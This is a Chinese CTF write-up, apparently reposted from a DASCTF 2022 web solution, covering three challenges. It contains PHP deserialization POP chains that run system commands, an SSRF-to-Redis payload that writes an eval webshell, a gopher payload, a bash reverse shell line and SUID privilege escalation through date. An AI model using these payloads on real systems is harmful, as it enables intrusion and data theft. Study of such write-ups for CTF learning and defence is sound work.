发布于2022年11月5日3年前 EasyPOP题目环境是 php 7.4, 图省事直接把所有属性的类型都改成 public起点是 sorry 类的 __destruct(), 由 echo $this->hint 调用到 show 类的 __toString() 方法, 然后通过执行 $this->ctf->show() 跳转 secret_code 类的 __call() , 进而到 show() 方法, 在 show() 方法中访问不存在的属性, 跳转到 sorry 类的 __get(), 最后通过 $name() 跳到 fine 类的 __invoke()pop 链构造如下<?php class fine { public $cmd; public $content; } class show { public $ctf; public $time; } class sorry { public $name; public $password; public $hint; public $key; } class secret_code { public $code; } $e = new fine(); $e->cmd = 'system'; $e->content = 'cat /flag'; $d = new sorry(); $d->key = $e; $c = new secret_code(); $c->code = $d; $b = new Show(); $b->ctf = $c; $a = new sorry(); $a->name = '123'; $a->password = '123'; $a->hint = $b; echo serialize($a);最后改一下数字绕过 __wakeuphttp://f9eac3ed-9425-4fe7-a009-aad41f9db212.node4.buuoj.cn:81/?pop=O:5:"sorry":4:{s:4:"name";s:3:"123";s:8:"password";s:3:"123";s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}hade_waibocancan need 有任意文件读取http://745b93ee-b378-4803-b84e-52f9e7b78d2a.node4.buuoj.cn:81/file.php?m=show&filename=file.phpfile.php............<?phperror_reporting(0);session_start();include 'class.php';if($_SESSION['isLogin'] !== true){ die("<script>alert('号登一下谢谢。');location.href='index.php'</script>");}$form = '<form action="file.php?m=upload" method="post" enctype="multipart/form-data" > <input type="file" name="file"> <button class="mini ui button" ><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 提交</font></font></button></form>';$file = new file();switch ($_GET['m']) { case 'upload': if(empty($_FILES)){die($form);} $type = end(explode(".", $_FILES['file']['name'])); if ($file->check($type)) { die($file->upload($type)); }else{ die('你食不食油饼'); } break; case 'show': die($file->show($_GET['filename'])); break; case 'rm': $file->rmfile(); die("全删干净了捏"); break; case 'logout': session_destroy(); die("<script>alert('已退出登录');location.href='index.php'</script>"); break; default: echo '<h2>Halo! '.$_SESSION['username'].'</h2>'; break;}?>............class.php‘<?phpclass User{ public $username; public function __construct($username){ $this->username = $username; $_SESSION['isLogin'] = True; $_SESSION['username'] = $username; } public function __wakeup(){ $cklen = strlen($_SESSION["username"]); if ($cklen != 0 and $cklen <= 6) { $this->username = $_SESSION["username"]; } } public function __destruct(){ if ($this->username == '') { session_destroy(); } }}class File{ #更新黑名单为白名单,更加的安全 public $white = array("jpg","png"); public function show($filename){ echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>'; if(empty($filename)){die();} return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />'; } public function upload($type){ $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type"; move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename); return "Upload success! Path: upload/" . $filename; } public function rmfile(){ system('rm -rf /var/www/html/upload/*'); } public function check($type){ if (!in_array($type,$this->white)){ return false; } return true; }}#更新了一个恶意又有趣的Test类class Test{ public $value; public function __destruct(){ chdir('./upload'); $this->backdoor(); } public function __wakeup(){ $this->value = "Don't make dream.Wake up plz!"; } public function __toString(){ $file = substr($_GET['file'],0,3); file_put_contents($file, "Hack by $file !"); return 'Unreachable! :)'; } public function backdoor(){ if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){ $this->value = 'nono~'; } system($this->value); }}Test 类可以利用, 第一时间想的是 phar 反序列化可以用 . 执行命令来绕过正则思路就是先上传 phar 文件, 然后上传一个 jpg, 其内容包含要执行的命令注意 jpg 的名称要在 phar 的前面, 例如 phar 的名称是 dasctfe4.jpg, 包含命令的 jpg 名称必须是 dasctfc2.jpg 或者 dasctf01.jpg (ascii 码较小)不过试的时候发现绕过 wakeup 好像不太行…然后想起来做 EasyLove 题的时候根目录下有个 start.sh 部署脚本, 结合题目的描述 tips:flag在/目录下的一个文件里, 索性直接读取 start.sh 看看读取 /ghjsdk_F149_H3re_asdasfc 得到 flagEasyLove根据题目描述的 redis, 猜测是通过 ssrf + redis 来 getshell$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); 这句很明显是要通过某个类来执行 ssrf众所周知 redis 的协议很宽松, 支持用 http 来发包, 而 php 原生的 SoapClient 类可以发送 httppayload 如下<?phpclass swpu{ public $wllm; public $arsenetang; public $l61q4cheng; public $love;}$a = new swpu();$a->wllm = 'SoapClient';$a->arsenetang = null;$target = 'http://127.0.0.1:6379/';$poc = "flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz '<?=eval(\$_REQUEST[1])?>'\r\nsave";$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");echo urlencode(serialize($a));试的时候一直卡住 (正常现象), 访问 shell.php 也显示 404于是猜测 redis 可能有认证, 看了下题目有 hint 类, 通过 file_get_contents() 来获得 hint.php 的内容直接反序列化 hint 无回显, 结果想试试 file_get_contents() + gopher 的时候阴差阳错地读到了 hint.php<?phpclass hint{ public $hint;}$a = new hint();$a->hint = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A';echo serialize($a);http://0021bfdb-5d2b-42ff-9505-49d23c4aa0e2.node4.buuoj.cn:81/?hello=O:4:"hint":1:{s:4:"hint";s:404:"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A";}猜测 20220311 就是 redis 的密码于是最终 payload 如下<?phpclass swpu{ public $wllm; public $arsenetang; public $l61q4cheng; public $love;}$a = new swpu();$a->wllm = 'SoapClient';$a->arsenetang = null;$target = 'http://127.0.0.1:6379/';$poc = "auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz '<?=eval(\$_REQUEST[1])?>'\r\nsave";$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");echo urlencode(serialize($a));O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A145%3A%22hello%0D%0Aauth+20220311%0D%0Aflushall%0D%0Aconfig+set+dir+%2Fvar%2Fwww%2Fhtml%2F%0D%0Aconfig+set+dbfilename+shell.php%0D%0Aset+xzxzxz+%27%3C%3F%3Deval%28%24_REQUEST%5B1%5D%29%3F%3E%27%0D%0Asave%0D%0Ahello%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D访问 shell.php蚁剑连接, 发现 flag 打不开root 权限, 估计是要提权先用 bash 反弹 shell, 直接输入会有点问题, 解决方法是先在 bash.sh 里写入反弹命令, 然后通过 bash bash.sh 来执行bash -i >& /dev/tcp/xxxx/yyyy 0>&1查找带 SUID 的文件find / -perm -u=s -type f 2>/dev/null发现有 date, 于是直接用 date 来读取 flagdate -f /hereisflag/flllll111aaagg参考原文: https://exp10it.cn/2022/10/dasctf-2022-%E5%8D%81%E6%9C%88%E8%B5%9B-web-%E9%83%A8%E5%88%86-writeup/#easypop来自为知笔记(Wiz)
创建帐户或登录后发表意见